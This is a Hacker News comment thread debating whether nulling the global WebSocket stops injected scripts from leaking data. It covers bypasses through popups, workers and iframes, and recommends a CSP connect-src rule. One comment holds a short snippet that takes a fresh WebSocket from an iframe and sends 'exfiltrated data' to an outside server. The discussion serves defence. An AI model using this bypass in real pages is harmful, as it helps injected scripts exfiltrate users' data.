Hacker News new | ask | show | jobs
by VWWHFSfQ 2217 days ago
this is trivially defeated by a script that enumerates globals looking for something that extends or implements WebSocket
2 comments

The `sock` variable wouldn't be global in this case though, so there's nothing to look for.

However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

If you are opening a new window you are pretty limited. Clearly you are alerting the user that you are spawning new tabs or forcing a new popup if you provide a width or height dimension to your window.open method. Yes, I am aware of the popunder by blurring the new window the moment its created, but that is still not very clever. Even still modern browsers block popups by default, so you have to convince the user to crawl into their browser settings and turn that off, which seems like a hard sell. Then the window.open allows you to specify an address, but not page contents. If you open the same address as the current page the global WebSocket name is still null. You can open to a malicious location though, but that is a good way to get the primary domain blacklisted. You can open to about:blank, which Firefox sends restricted messaging about, but you would have to inject code into that blank page.

Perhaps there are other ways to spawn new windows with greater access control that I am not aware and don't require access to the global window object. The global WebSocket is really window.WebSocket so anything that is reliant upon the window object or inherited from the window object will continue to see that window.WebSocket is null.

The window was just one example (obviously not the most optimal method), there are many other ways you could get around it.

My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.

Here's one very simple way to get around your method:

    WebSocket = null
    
    let el = document.createElement("iframe")
    document.body.append(el);
    
    let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
    ws.onopen = () => ws.send("my exfiltrated data")
Likewise that is solved for just as trivially by enumerating all globals and replacing any mention of WebSocket with your scoped variable. Of course though if all your code files are ECMA modules the only globals are those provided by the browser and third party scripts.